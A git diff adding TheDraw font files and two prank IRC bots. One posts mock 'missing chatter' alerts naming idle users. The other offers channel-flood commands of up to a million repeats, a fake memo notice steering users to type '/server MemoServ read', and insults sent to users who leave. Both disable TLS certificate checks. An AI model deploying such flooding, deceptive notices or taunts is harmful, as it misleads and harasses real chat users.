index 0000000..984cee8
Binary files /dev/null and b/art/tdfiglet/unused-fonts/maxfour.tdf differ
diff --git a/art/tdfiglet/unused-fonts/medium.tdf b/art/tdfiglet/unused-fonts/medium.tdf
new file mode 100644
index 0000000..50f8e06
Binary files /dev/null and b/art/tdfiglet/unused-fonts/medium.tdf differ
diff --git a/art/tdfiglet/unused-fonts/merlin1.tdf b/art/tdfiglet/unused-fonts/merlin1.tdf
new file mode 100644
index 0000000..23a516a
Binary files /dev/null and b/art/tdfiglet/unused-fonts/merlin1.tdf differ
diff --git a/art/tdfiglet/unused-fonts/merlin2.tdf b/art/tdfiglet/unused-fonts/merlin2.tdf
new file mode 100644
index 0000000..6d6ff9b
Binary files /dev/null and b/art/tdfiglet/unused-fonts/merlin2.tdf differ
diff --git a/art/tdfiglet/unused-fonts/middlage.tdf b/art/tdfiglet/unused-fonts/middlage.tdf
new file mode 100644
index 0000000..89a6378
Binary files /dev/null and b/art/tdfiglet/unused-fonts/middlage.tdf differ
diff --git a/art/tdfiglet/unused-fonts/mindbend.tdf b/art/tdfiglet/unused-fonts/mindbend.tdf
new file mode 100644
index 0000000..adcf8ed
Binary files /dev/null and b/art/tdfiglet/unused-fonts/mindbend.tdf differ
diff --git a/art/tdfiglet/unused-fonts/mirror.tdf b/art/tdfiglet/unused-fonts/mirror.tdf
new file mode 100644
index 0000000..e44ff4d
Binary files /dev/null and b/art/tdfiglet/unused-fonts/mirror.tdf differ
diff --git a/art/tdfiglet/unused-fonts/nancyjfa.tdf b/art/tdfiglet/unused-fonts/nancyjfa.tdf
new file mode 100644
index 0000000..e43ac4c
Binary files /dev/null and b/art/tdfiglet/unused-fonts/nancyjfa.tdf differ
diff --git a/art/tdfiglet/unused-fonts/nancyjip.tdf b/art/tdfiglet/unused-fonts/nancyjip.tdf
new file mode 100644
index 0000000..27c272c
Binary files /dev/null and b/art/tdfiglet/unused-fonts/nancyjip.tdf differ
diff --git a/art/tdfiglet/unused-fonts/nancyjul.tdf b/art/tdfiglet/unused-fonts/nancyjul.tdf
new file mode 100644
index 0000000..0e2fc34
Binary files /dev/null and b/art/tdfiglet/unused-fonts/nancyjul.tdf differ
diff --git a/art/tdfiglet/unused-fonts/nvscr2.tdf b/art/tdfiglet/unused-fonts/nvscr2.tdf
new file mode 100644
index 0000000..87d27c3
Binary files /dev/null and b/art/tdfiglet/unused-fonts/nvscr2.tdf differ
diff --git a/art/tdfiglet/unused-fonts/nvscript.tdf b/art/tdfiglet/unused-fonts/nvscript.tdf
new file mode 100644
index 0000000..b3688cb
Binary files /dev/null and b/art/tdfiglet/unused-fonts/nvscript.tdf differ
diff --git a/art/tdfiglet/unused-fonts/ogre.tdf b/art/tdfiglet/unused-fonts/ogre.tdf
new file mode 100644
index 0000000..ee342c1
Binary files /dev/null and b/art/tdfiglet/unused-fonts/ogre.tdf differ
diff --git a/art/tdfiglet/unused-fonts/patchese.tdf b/art/tdfiglet/unused-fonts/patchese.tdf
new file mode 100644
index 0000000..3ffb533
Binary files /dev/null and b/art/tdfiglet/unused-fonts/patchese.tdf differ
diff --git a/art/tdfiglet/unused-fonts/patorjk.tdf b/art/tdfiglet/unused-fonts/patorjk.tdf
new file mode 100644
index 0000000..df7e67f
Binary files /dev/null and b/art/tdfiglet/unused-fonts/patorjk.tdf differ
diff --git a/art/tdfiglet/unused-fonts/r.tdf b/art/tdfiglet/unused-fonts/r.tdf
new file mode 100644
index 0000000..bb28e26
Binary files /dev/null and b/art/tdfiglet/unused-fonts/r.tdf differ
diff --git a/art/tdfiglet/unused-fonts/rammsten.tdf b/art/tdfiglet/unused-fonts/rammsten.tdf
new file mode 100644
index 0000000..3e80fb8
Binary files /dev/null and b/art/tdfiglet/unused-fonts/rammsten.tdf differ
diff --git a/art/tdfiglet/unused-fonts/rapid.tdf b/art/tdfiglet/unused-fonts/rapid.tdf
new file mode 100644
index 0000000..39f68d9
Binary files /dev/null and b/art/tdfiglet/unused-fonts/rapid.tdf differ
diff --git a/art/tdfiglet/unused-fonts/raster.tdf b/art/tdfiglet/unused-fonts/raster.tdf
new file mode 100644
index 0000000..2548291
Binary files /dev/null and b/art/tdfiglet/unused-fonts/raster.tdf differ
diff --git a/art/tdfiglet/unused-fonts/redphonx.tdf b/art/tdfiglet/unused-fonts/redphonx.tdf
new file mode 100644
index 0000000..90e1b94
Binary files /dev/null and b/art/tdfiglet/unused-fonts/redphonx.tdf differ
diff --git a/art/tdfiglet/unused-fonts/relief.tdf b/art/tdfiglet/unused-fonts/relief.tdf
new file mode 100644
index 0000000..2407266
Binary files /dev/null and b/art/tdfiglet/unused-fonts/relief.tdf differ
diff --git a/art/tdfiglet/unused-fonts/relief2.tdf b/art/tdfiglet/unused-fonts/relief2.tdf
new file mode 100644
index 0000000..531a6e5
Binary files /dev/null and b/art/tdfiglet/unused-fonts/relief2.tdf differ
diff --git a/art/tdfiglet/unused-fonts/robojoke.tdf b/art/tdfiglet/unused-fonts/robojoke.tdf
new file mode 100644
index 0000000..2418110
Binary files /dev/null and b/art/tdfiglet/unused-fonts/robojoke.tdf differ
diff --git a/art/tdfiglet/unused-fonts/roman.tdf b/art/tdfiglet/unused-fonts/roman.tdf
new file mode 100644
index 0000000..0a02ddb
Binary files /dev/null and b/art/tdfiglet/unused-fonts/roman.tdf differ
diff --git a/art/tdfiglet/unused-fonts/rounded.tdf b/art/tdfiglet/unused-fonts/rounded.tdf
new file mode 100644
index 0000000..a355016
Binary files /dev/null and b/art/tdfiglet/unused-fonts/rounded.tdf differ
diff --git a/art/tdfiglet/unused-fonts/rowancap.tdf b/art/tdfiglet/unused-fonts/rowancap.tdf
new file mode 100644
index 0000000..164b6cf
Binary files /dev/null and b/art/tdfiglet/unused-fonts/rowancap.tdf differ
diff --git a/art/tdfiglet/unused-fonts/royafnt1.tdf b/art/tdfiglet/unused-fonts/royafnt1.tdf
new file mode 100644
index 0000000..c8f3532
Binary files /dev/null and b/art/tdfiglet/unused-fonts/royafnt1.tdf differ
diff --git a/art/tdfiglet/unused-fonts/royafnt2.tdf b/art/tdfiglet/unused-fonts/royafnt2.tdf
new file mode 100644
index 0000000..05a1fa2
Binary files /dev/null and b/art/tdfiglet/unused-fonts/royafnt2.tdf differ
diff --git a/art/tdfiglet/unused-fonts/rozzo.tdf b/art/tdfiglet/unused-fonts/rozzo.tdf
new file mode 100644
index 0000000..d8cbdb8
Binary files /dev/null and b/art/tdfiglet/unused-fonts/rozzo.tdf differ
diff --git a/art/tdfiglet/unused-fonts/sabotage.tdf b/art/tdfiglet/unused-fonts/sabotage.tdf
new file mode 100644
index 0000000..29812ad
Binary files /dev/null and b/art/tdfiglet/unused-fonts/sabotage.tdf differ
diff --git a/art/tdfiglet/unused-fonts/shadow.tdf b/art/tdfiglet/unused-fonts/shadow.tdf
new file mode 100644
index 0000000..c386a5c
Binary files /dev/null and b/art/tdfiglet/unused-fonts/shadow.tdf differ
diff --git a/art/tdfiglet/unused-fonts/smallr.tdf b/art/tdfiglet/unused-fonts/smallr.tdf
new file mode 100644
index 0000000..65054cc
Binary files /dev/null and b/art/tdfiglet/unused-fonts/smallr.tdf differ
diff --git a/art/tdfiglet/unused-fonts/smlisom1.tdf b/art/tdfiglet/unused-fonts/smlisom1.tdf
new file mode 100644
index 0000000..cbc90da
Binary files /dev/null and b/art/tdfiglet/unused-fonts/smlisom1.tdf differ
diff --git a/art/tdfiglet/unused-fonts/smlslant.tdf b/art/tdfiglet/unused-fonts/smlslant.tdf
new file mode 100644
index 0000000..3644006
Binary files /dev/null and b/art/tdfiglet/unused-fonts/smlslant.tdf differ
diff --git a/art/tdfiglet/unused-fonts/standard.tdf b/art/tdfiglet/unused-fonts/standard.tdf
new file mode 100644
index 0000000..3593ff4
Binary files /dev/null and b/art/tdfiglet/unused-fonts/standard.tdf differ
diff --git a/art/tdfiglet/unused-fonts/starwars.tdf b/art/tdfiglet/unused-fonts/starwars.tdf
new file mode 100644
index 0000000..5cb27ae
Binary files /dev/null and b/art/tdfiglet/unused-fonts/starwars.tdf differ
diff --git a/art/tdfiglet/unused-fonts/sturbo.tdf b/art/tdfiglet/unused-fonts/sturbo.tdf
new file mode 100644
index 0000000..3f773da
Binary files /dev/null and b/art/tdfiglet/unused-fonts/sturbo.tdf differ
diff --git a/art/tdfiglet/unused-fonts/sub-zero.tdf b/art/tdfiglet/unused-fonts/sub-zero.tdf
new file mode 100644
index 0000000..661b9f9
Binary files /dev/null and b/art/tdfiglet/unused-fonts/sub-zero.tdf differ
diff --git a/art/tdfiglet/unused-fonts/swamplnd.tdf b/art/tdfiglet/unused-fonts/swamplnd.tdf
new file mode 100644
index 0000000..61e8304
Binary files /dev/null and b/art/tdfiglet/unused-fonts/swamplnd.tdf differ
diff --git a/art/tdfiglet/unused-fonts/sweet.tdf b/art/tdfiglet/unused-fonts/sweet.tdf
new file mode 100644
index 0000000..e966211
Binary files /dev/null and b/art/tdfiglet/unused-fonts/sweet.tdf differ
diff --git a/art/tdfiglet/unused-fonts/tdfonts-2.tdf b/art/tdfiglet/unused-fonts/tdfonts-2.tdf
new file mode 100644
index 0000000..0bcedf5
Binary files /dev/null and b/art/tdfiglet/unused-fonts/tdfonts-2.tdf differ
diff --git a/art/tdfiglet/unused-fonts/tdfonts-3.tdf b/art/tdfiglet/unused-fonts/tdfonts-3.tdf
new file mode 100644
index 0000000..649039c
Binary files /dev/null and b/art/tdfiglet/unused-fonts/tdfonts-3.tdf differ
diff --git a/art/tdfiglet/unused-fonts/tdfonts-4.tdf b/art/tdfiglet/unused-fonts/tdfonts-4.tdf
new file mode 100644
index 0000000..68f0524
Binary files /dev/null and b/art/tdfiglet/unused-fonts/tdfonts-4.tdf differ
diff --git a/art/tdfiglet/unused-fonts/tdfonts_org.tdf b/art/tdfiglet/unused-fonts/tdfonts_org.tdf
new file mode 100644
index 0000000..9a9ce89
Binary files /dev/null and b/art/tdfiglet/unused-fonts/tdfonts_org.tdf differ
diff --git a/art/tdfiglet/unused-fonts/tech.tdf b/art/tdfiglet/unused-fonts/tech.tdf
new file mode 100644
index 0000000..5f793be
Binary files /dev/null and b/art/tdfiglet/unused-fonts/tech.tdf differ
diff --git a/art/tdfiglet/unused-fonts/tengwar.tdf b/art/tdfiglet/unused-fonts/tengwar.tdf
new file mode 100644
index 0000000..f344772
Binary files /dev/null and b/art/tdfiglet/unused-fonts/tengwar.tdf differ
diff --git a/art/tdfiglet/unused-fonts/thick.tdf b/art/tdfiglet/unused-fonts/thick.tdf
new file mode 100644
index 0000000..1898a7a
Binary files /dev/null and b/art/tdfiglet/unused-fonts/thick.tdf differ
diff --git a/art/tdfiglet/unused-fonts/thicko.tdf b/art/tdfiglet/unused-fonts/thicko.tdf
new file mode 100644
index 0000000..a34ed34
Binary files /dev/null and b/art/tdfiglet/unused-fonts/thicko.tdf differ
diff --git a/art/tdfiglet/unused-fonts/tic.tdf b/art/tdfiglet/unused-fonts/tic.tdf
new file mode 100644
index 0000000..8ed14cd
Binary files /dev/null and b/art/tdfiglet/unused-fonts/tic.tdf differ
diff --git a/art/tdfiglet/unused-fonts/ticks.tdf b/art/tdfiglet/unused-fonts/ticks.tdf
new file mode 100644
index 0000000..6ed25fe
Binary files /dev/null and b/art/tdfiglet/unused-fonts/ticks.tdf differ
diff --git a/art/tdfiglet/unused-fonts/ticksslt.tdf b/art/tdfiglet/unused-fonts/ticksslt.tdf
new file mode 100644
index 0000000..3a2f85b
Binary files /dev/null and b/art/tdfiglet/unused-fonts/ticksslt.tdf differ
diff --git a/art/tdfiglet/unused-fonts/trek.tdf b/art/tdfiglet/unused-fonts/trek.tdf
new file mode 100644
index 0000000..c2be797
Binary files /dev/null and b/art/tdfiglet/unused-fonts/trek.tdf differ
diff --git a/art/tdfiglet/unused-fonts/univers.tdf b/art/tdfiglet/unused-fonts/univers.tdf
new file mode 100644
index 0000000..3510706
Binary files /dev/null and b/art/tdfiglet/unused-fonts/univers.tdf differ
diff --git a/art/tdfiglet/unused-fonts/usflgorg.tdf b/art/tdfiglet/unused-fonts/usflgorg.tdf
new file mode 100644
index 0000000..72190af
Binary files /dev/null and b/art/tdfiglet/unused-fonts/usflgorg.tdf differ
diff --git a/art/tdfiglet/unused-fonts/visions.tdf b/art/tdfiglet/unused-fonts/visions.tdf
new file mode 100644
index 0000000..96054a4
Binary files /dev/null and b/art/tdfiglet/unused-fonts/visions.tdf differ
diff --git a/art/tdfiglet/unused-fonts/wetleter.tdf b/art/tdfiglet/unused-fonts/wetleter.tdf
new file mode 100644
index 0000000..08226cc
Binary files /dev/null and b/art/tdfiglet/unused-fonts/wetleter.tdf differ
diff --git a/art/tdfiglet/unused-fonts/whimsy.tdf b/art/tdfiglet/unused-fonts/whimsy.tdf
new file mode 100644
index 0000000..c545885
Binary files /dev/null and b/art/tdfiglet/unused-fonts/whimsy.tdf differ
diff --git a/bots/amber.py b/bots/amber.py
new file mode 100644
index 0000000..5c520dc
--- /dev/null
+++ b/bots/amber.py
@@ -0,0 +1,132 @@
+#!/usr/bin/env python
+# Amber Alert IRC Bot - Developed by acidvegas & blowfish in Python (https://acid.vegas/random)
+
+import asyncio
+import random
+import ssl
+import textwrap
+
+def ascii(nick):
+	age    = '{0!s}{1}'.format(random.randint(12,90), random.choice(['',' AND HALF']))
+	height = '{0!s}\' {1!s}"'.format(random.randint(3,6), random.randint(1,12))
+	weight = '{0!s}LBS'.format(random.randint(90,500)) # >200 = (FNO)
+	eyes   = random.choice(['BLUE','BROWN','GREEN'])
+	return textwrap.dedent(f'''1,4                                                  
+		1,4  1,8^^^^^^1,4  1,1   1,4 1,1     1,4 1,1  1,4  1,1  1,4 1,1  1,4   1,1   1,4 1,1 1,4  1,1  1,4 1,1  1,4  1,1   1,4 
+		1,4 1,8<0,2 **** 1,8>1,4 1,1 1,4 1,1 1,4 1,1 1,4 1,1 1,4 1,1 1,4 1,1 1,4 1,1 1,4 1,1 1,4  1,1 1,4 1,1 1,4  1,1 1,4 1,1 1,4 1,1 1,4  1,1 1,4  1,1 1,4 1,1 1,4  1,1 1,4  
+		1,4 1,8<0,2*CFLC*1,8>1,4 1,1   1,4 1,1 1,4 1,1 1,4 1,1 1,4 1,1  1,4  1,1  1,4 1,1  1,4   1,1   1,4 1,1 1,4  1,1  1,4 1,1  1,4   1,1 1,4  
+		1,4 1,8<0,2 **** 1,8>1,4 1,1 1,4 1,1 1,4 1,1 1,4   1,1 1,4 1,1 1,4 1,1 1,4 1,1 1,4  1,1 1,4 1,1 1,4  1,1 1,4 1,1 1,4 1,1 1,4  1,1 1,4  1,1 1,4 1,1 1,4  1,1 1,4  
+		1,4  1,8VVVVVV1,4  1,1 1,4 1,1 1,4 1,1 1,4   1,1 1,4 1,1  1,4  1,1  1,4 1,1 1,4 1,1 1,4  1,1 1,4 1,1 1,4 1,1  1,4 1,1  1,4 1,1 1,4 1,1 1,4  1,1 1,4  
+		1,4                                                  
+		1,1                                                  
+		1,0                                                  
+		1,0                                                  
+		1,0  1,1                    1,0                            
+		1,0  1,1 1,10                  1,1 1,0   12NAME   1: {nick.ljust(16)}
+		1,0  1,1 1,10 5,7,;',;',,5,10 1        1,1 1,0                            
+		1,0  1,1 1,10 5,7.;'.  ( _5,10 1       1,1 1,0  12 AGE    1: {age.ljust(16)}
+		1,0  1,1 1,10 5,7.1@5;;1  0O O 1,10       1,1 1,0                            
+		1,0  1,1 1,10 5,7.1 5; 1    > 1,10       1,1 1,0  12 HEIGHT1 : {height.ljust(16)}
+		1,0  1,1 1,10 5,7;1    5 ;;;;5,10  1     1,1 1,0                            
+		1,0  1,1 1,10 1,7      1,1___1,10 1,6\  1,10    1,1 1,0  12 WEIGHT1 : {weight.ljust(16)}
+		1,0  1,1 1,7          1,10 1,6  1,7   1,10  1,1 1,0                            
+		1,0  1,1 1,7     1,10         1,7   1,10 1,1 1,0   12EYES  1 : {eyes.ljust(16)}
+		1,0  1,1                    1,0                            
+		1,0                                                  
+		1,0  Missing from #superbowl, SuperNETs since 2007   
+		1,0                                                  
+		1,0  ANY INFORMATION REGARDING THE WHERE-ABOUTS OF   
+		1,0  THIS CHATTER SHOULD REPORT IT TO THE OFFICAL    
+		1,0  CENTER FOR LOST CHATTERS 14(CFLC)1 AS SOON AS OK.  
+		1,0                                                  
+		1,0  1-800-5MISSING1                 missing@cflc.gov  
+		1,0                                                  ''')
+
+def ssl_ctx():
+	ctx = ssl.create_default_context()
+	ctx.check_hostname = False
+	ctx.verify_mode = ssl.CERT_NONE
+	return ctx
+
+class IRC:
+	def __init__(self):
+		self.options  = {'host':'irc.supernets.org','port':6697,'limit':1024,'ssl':ssl_ctx(),'family':2}
+		self.reader   = None
+		self.writer   = None
+		self.names    = {'found':list(), 'idle':list()}
+		self.scanning = False
+		self.looping  = False
+
+	def _event_names(self, names):
+		if self.scanning:
+			for name in names:
+				if name[:1] in '~!@%&+:':
+					name = name[1:]
+				if name not in ('AMBERALERT','CANCER','ChanServ','DickServ','EliManning','FUCKYOU','scroll'):
+					self.names['found'].append(name)
+
+	async def _event_end_of_names(self):
+		self.scanning = False
+		for name in self.names['found']:
+			self._raw(f'WHOIS {name} {name}') # Have to double to nick to see far-connected idle times? Weird...
+			await asyncio.sleep(2)
+		if self.names['idle']:
+			target = random.choice(self.names['idle'])
+			for line in ascii(target).split('\n'):
+				self._raw(f'PRIVMSG #superbowl :{line}')
+				self._raw(f'PRIVMSG {target} :{line}')
+		self.names = {'found':list(), 'idle':list()}
+
+	async def _loop(self):
+		while self.looping:
+			if not self.scanning:
+				self.scanning = True
+				self._raw('NAMES #superbowl')
+			await asyncio.sleep(random.randint(43200,86400)) # 12H-1D
+
+	def _raw(self, data):
+		self.writer.write(data[:510].encode('utf-8') + b'\r\n')
+
+	async def _connect(self):
+		try:
+			self.reader, self.writer = await asyncio.open_connection(**self.options)
+			self._raw(f'USER missing 0 * :Amber Alert IRC Bot')
+			self._raw('NICK AMBERALERT')
+		except Exception as ex:
+			print(f'[!] - Failed to connect to IRC server! ({ex!s})')
+		else:
+			while not self.reader.at_eof():
+				line = await self.reader.readline()
+				line = line.decode('utf-8').strip()
+				print('[~] - '+line)
+				args = line.split()
+				if args[0] == 'PING':
+					self._raw('PONG ' + args[1][1:])
+				elif args[1] == '001': # RPL_WELCOME
+					self._raw('MODE AMBERALERT +BDd')
+					self._raw('PRIVMSG NickServ IDENTIFY AMBERALERT CHANGEME')
+					await asyncio.sleep(3)
+					self._raw('JOIN #superbowl')
+				elif args[1] == '353' and len(args) >= 6: # RPL_NAMREPLY
+					chan = args[4]
+					if chan == '#superbowl':
+						names = ' '.join(args[5:])[2:].split()
+						self._event_names(names)
+				elif args[1] == '366' and len(args) >= 4: # RPL_ENDOFNAMES
+					chan = args[3]
+					if chan == '#superbowl':
+						if self.scanning:
+							asyncio.create_task(self._event_end_of_names())
+						elif not self.looping:
+							self.looping = True
+							asyncio.create_task(self._loop())
+				elif args[1] == '317' and len(args) >= 5: # RPL_WHOISIDLE
+					nick = args[3]
+					idle = args[4]
+					if int(idle) >= 604800: # 1W
+						self.names['idle'].append(nick)
+
+# Start
+if __name__ == '__main__':
+	Bot = IRC()
+	asyncio.run(Bot._connect())
\ No newline at end of file
diff --git a/bots/anythinggoes/anythinggoes.py b/bots/anythinggoes/anythinggoes.py
new file mode 100644
index 0000000..6d99d01
--- /dev/null
+++ b/bots/anythinggoes/anythinggoes.py
@@ -0,0 +1,269 @@
+# -*- coding: utf-8 -*-
+#!/usr/bin/env python
+# THEGAME IRC Bot - Developed by acidvegas in Python (https://acid.vegas/random)
+import random,socket,ssl,threading,time
+
+# Config
+admin_ident       = 'acidvegas!*@*'
+channel           = '#anythinggoes'
+nickserv_password = 'CHANGEME'
+operator_password = 'CHANGEME'
+throttle_msg      = 0.15
+
+# Formatting Control Characters / Color Codes
+bold        = '\x02'
+italic      = '\x1D'
+underline   = '\x1F'
+reverse     = '\x16'
+reset       = '\x0f'
+white       = '00'
+black       = '01'
+blue        = '02'
+green       = '03'
+red         = '04'
+brown       = '05'
+purple      = '06'
+orange      = '07'
+yellow      = '08'
+light_green = '09'
+cyan        = '10'
+light_cyan  = '11'
+light_blue  = '12'
+pink        = '13'
+grey        = '14'
+light_grey  = '15'
+
+def color(msg,foreground,background=None):return f'\x03{foreground},{background}{msg}{reset}' if background else f'\x03{foreground}{msg}{reset}'
+def error(msg,reason):print(f'{get_time()} | [!] - {msg} ({reason})')
+def get_time():return time.strftime('%I:%M:%S')
+def random_str(size):return ''.join(random.choice('aAbBcCdDeEfFgGhHiIjJkKlLmMnNoOpPqQrRsStTuUvVwWxXyYzZ') for _ in range(size))
+
+class Functions:
+	def banana_bomb():
+		for i in range(random.randint(5,10)):
+			spaces=random.randint(1,120)
+			for line in banana_data:
+				Bot.sendmsg(channel,' '*spaces+line)
+
+	def chat_rain(amount):
+		words = ('ok','tru','same','wow','nice','XD','ok','np','sup','cool','nmu','lol','ah','srry','jk')
+		for i in range(amount):
+			Bot.sendmsg(channel,' '*random.randint(3,25)+random.choice(words)+' '*random.randint(10,50)+random.choice(words)+' '*random.randint(10,50)+random.choice(words))
+
+	def crab_flood(amount):
+		counter=1
+		notify=random.randint(100,999)
+		if amount>=1000000:
+			amount=1000000
+			Bot.sendmsg(channel,color('GENTLEMEN! BEHOLD!',red))
+			Bot.sendmsg(channel,color('THE MILLION CRAB MARCH!',red))
+		for i in range(amount):
+			spaces=random.randint(1,120)
+			for line in crab_data:
+				Bot.sendmsg(channel,' '*spaces+line)
+			counter+=1
+			if counter==notify:
+				spaces=random.randint(1,120)
+				Bot.sendmsg(channel,color(' '*spaces+str(i)+' MOTHER FUCKING CRABS !!!',red))
+				counter=1
+
+	def grave(nick):
+		length=len(nick)
+		Bot.sendmsg(channel,color(' '*(length+8),light_blue,light_blue))
+		Bot.sendmsg(channel,'{0}{1}{2}{3}'.format(color('    ',light_blue,light_blue),color(' ',grey,grey),color(' '*length,light_grey,light_grey),color('    ',light_blue,light_blue)))
+		Bot.sendmsg(channel,'{0}{1}{2}{3}'.format(color('   ',light_blue,light_blue),color(' ', grey),color(' '*(length+2),light_grey,light_grey),color('   ',light_blue,light_blue)))
+		Bot.sendmsg(channel,'{0}{1}{2}{3}'.format(color('   ',light_green,light_green),color(' ', grey),color('R I P'.center(length+2),black,light_grey),color('   ',light_green,light_green)))
+		Bot.sendmsg(channel,'{0}{1}{2}{3}'.format(color('   ',green,green),color(' ', grey),color(nick.upper().center(length+2),black,light_grey),color('   ',light_green,light_green)))
+		Bot.sendmsg(channel,'{0}{1}{2}{3}'.format(color('   ',green,green),color(' ', grey),color(' '*(length+2),light_grey,light_grey),color('   ',light_green,light_green)))
+		Bot.sendmsg(channel,'{0}{1}{2}{3}{4}'.format(color(' ',light_green,light_green),color('  ',green,green),color(' ',grey),color('2018'.center(length+2),black,light_grey),color('   ', light_green,light_green)))
+		Bot.sendmsg(channel,'{0}{1}{2}{3}{4}'.format(color('  ',light_green,light_green),color(' ',green,green),color(' ',grey),color(' '*(length+2),light_grey,light_grey),color('   ',light_green,light_green)))
+		Bot.sendmsg(channel,'{0}{1}{2}{3}'.format(color('   ',light_green,light_green),color(' ', grey),color(' '*(length+2),light_grey,light_grey),color('   ', light_green,light_green)))
+
+	def rain(word,amount):
+		for i in range(amount):
+			Bot.sendmsg(channel,' '*random.randint(3,25)+word+' '*random.randint(10,50)+word+' '*random.randint(10,50)+word)
+
+	def rope(length):
+		spaces=50
+		prev=None
+		for i in range(length):
+			if random.choice((True,False)):
+				if prev!='╱':spaces+=1
+				char='╲'
+			else:
+				if prev!='╲':spaces-=1
+				char='╱'
+			Bot.sendmsg(channel,' '*spaces+char)
+			prev=char
+		Bot.sendmsg(channel,' '*(spaces-2)+'(;))')
+
+	def wave(msg,lines,spaces,hilite):
+		rainbow=['04','08','09','11','12','13']
+		spacer=15
+		spaces+=spacer
+		toggle=True
+		data=list()
+		for i in range(lines):
+			if hilite:
+				Bot.sendmsg(channel,'{0}{1}{2}{3}'.format((Bot.nicks[0]+': ').ljust(spacer),color('░▒▓',rainbow[1]),color(f' {msg} ',rainbow[0],rainbow[1]),color('▓▒░',rainbow[1])))
+				Bot.nicks.append(Bot.nicks.pop(0))
+			else:
+				Bot.sendmsg(channel, '{0}{1}{2}{3}'.format(' '*spacer,color('░▒▓',rainbow[1]),color(f' {msg} ',rainbow[0],rainbow[1]),color('▓▒░',rainbow[1])))
+			rainbow.append(rainbow.pop(0))
+			if toggle:spacer+=1
+			else:spacer-=1
+			if spacer==spaces:toggle=False
+			elif spacer==15:toggle=True
+
+	def worm(length):
+		spacer=random.randint(10,100)
+		Bot.sendmsg(channel,'{0}   {1}{2}'.format(' '*spacer,color('░▒▓',pink),color('▓▒░',pink)))
+		Bot.sendmsg(channel,'{0}  {1}{2}{3}'.format(' '*spacer,color('░▒▓',pink),color('  ',black,pink),color('▓▒░',pink)))
+		Bot.sendmsg(channel,'{0} {1}{2}{3}'.format(' '*spacer,color('░▒▓',pink),color('    ',black,pink),color('▓▒░',pink)))
+		for i in range(length):
+			Bot.sendmsg(channel,'{0}{1}{2}{3}'.format(' '*spacer,color('░▒▓',pink),color('      ',black,pink),color('▓▒░',pink)))
+			if random.choice((True,False)):spacer += 1
+			else:spacer-=1
+		Bot.sendmsg(channel,'{0} {1}{2}{3}'.format(' '*spacer,color('░▒▓',pink),color('_  _',black,pink),color('▓▒░',pink)))
+		Bot.sendmsg(channel,'{0} {1}{2}{3}'.format(' '*spacer,color('░▒▓',pink),color('o  o',black,pink),color('▓▒░',pink)))
+		Bot.sendmsg(channel,'{0}  {1}{2}{3}'.format(' '*spacer,color('░▒▓',pink),color('  ',black,pink),color('▓▒░',pink)))
+
+class WormNet(threading.Thread):
+	def __init__(self):
+		self.sock=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
+		threading.Thread.__init__(self)
+	def run(self):
+		Bot.wormnet=True
+		try:
+			self.sock.connect(('wormnet1.team17.com',6667))
+			self.raw('PASS ELSILRACLIHP')
+			self.raw('USER Username hostname servername :48 0 US 3.7.2.1')
+			self.raw('NICK SUPERNETS')
+			while True:
+				data=self.sock.recv(1024).decode('utf-8')
+				for line in (line for line in data.split('\r\n') if len(line.split())>=2):
+					Bot.sendmsg_wormnet('raw',cyan,line)
+					args=line.split()
+					if line.startswith('ERROR :Closing Link:'):raise Exception('Connection has closed.')
+					elif args[0]=='PING':self.raw('PONG '+args[1][1:])
+					elif args[1]=='001':self.raw('JOIN '+channel)
+					elif args[1]=='366':Bot.sendmsg_wormnet('join',green,'Joined #anythinggoes channel!')
+		except (UnicodeDecodeError,UnicodeEncodeError):pass
+		except Exception as ex:
+			Bot.sendmsg_wormnet('error',red,'Unknown error occured!',ex)
+			self.sock.close()
+			Bot.wormnet=False
+			Bot.sendmsg_wormnet('disconnected',red,'Lost connection to the WormNet relay!')
+	def raw(self,msg):self.sock.send(bytes(msg+'\r\n','utf-8'))
+	def sendmsg(self,target,msg):self.raw(f'PRIVMSG {target} :{msg}')
+
+class IRC(object):
+	def __init__(self):
+		self.nicks=list()
+		self.echo=False
+		self.sock=None
+		self.wormnet=False
+
+	def connect(self):
+		try:
+			self.sock=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
+			self.sock.connect(('irc.supernets.org',6667))
+			self.raw(f'USER THEG 0 * :YOU LOST THE GAME')
+			self.raw('NICK THEGAME')
+			while True:
+				data = self.sock.recv(1024).decode('utf-8')
+				print(data)
+				for line in (line for line in data.split('\r\n') if len(line.split()) >= 2):
+					print(f'{get_time()} | [~] - {line}')
+					args = line.split()
+					if args[0]=='PING':
+						self.raw('PONG '+args[1][1:])
+					elif args[1]=='001':
+						self.raw('MODE THEGAME +BDd')
+						self.sendmsg('NickServ','IDENTIFY THEGAME '+nickserv_password)
+						self.raw(f'OPER thegame {operator_password}')
+						self.raw('JOIN '+channel)
+					elif args[1]=='433':self.raw('NICK THE_GAME_'+str(random.randint(10,99)))
+					elif args[1]=='353' and len(args)>=6:self.nicks+=' '.join(args[5:])[2:].split()
+					elif args[1]=='JOIN' and len(args)==3:self.raw('NOTICE {0} :Thank you for joining #AnythingGoes, you have {1} memo(s) waiting. Please type /server MemoServ read to check your messages.'.format(args[0].split('!')[0][1:],color(random.randint(1,3),red)))
+					elif args[1]=='PART' and len(args)>=3:
+						self.sendmsg(args[2],color('EMO-PART DETECTED',red))
+						self.sendmsg(args[0].split('!')[0][1:],'bet u wont come back pussy...')
+					elif args[1]=='PRIVMSG' and len(args)>=4:
+						ident=args[0][1:]
+						nick=args[0].split('!')[0][1:]
+						chan=args[2]
+						msg= ' '.join(args[3:])[1:]
+						if chan==channel:self.event_message(ident,nick,chan,msg)
+					elif args[1]=='QUIT':Functions.grave(args[0].split('!')[0][1:])
+		except(UnicodeDecodeError,UnicodeEncodeError):pass
+		except Exception as ex:
+			print(ex)
+			self.sock.close()
+		time.sleep(15)
+		self.connect()
+
+	def event_message(self,ident,nick,chan,msg):
+		args=msg.split()
+		if msg[:1]=='!':
+			if msg=='!bananabomb':Functions.banana_bomb()
+			elif msg=='!crate':
+				for line in crate_data:self.sendmsg(channel,line)
+			elif msg=='!echo':
+				self.echo=False if self.echo else True
+			elif msg=='refresh':
+				self.nicks=list()
+				self.raw('NAMES #anythinggoes')
+			elif msg=='!wormnet':WORMS.start()
+			elif msg=='!worms':
+				for line in worms_data:self.sendmsg(channel, line)
+			elif len(args)==2:
+				if args[1].isdigit():
+					amount=int(args[1])
+					if args[0]=='!chatrain':
+						if amount<=100 or ident==admin_ident:Functions.chat_rain(amount)
+						else:self.sendmsg(chan,'Max: 100')
+					elif msg.startswith('!crabflood'):
+						if amount<=10 or ident==admin_ident:Functions.crab_flood(amount)
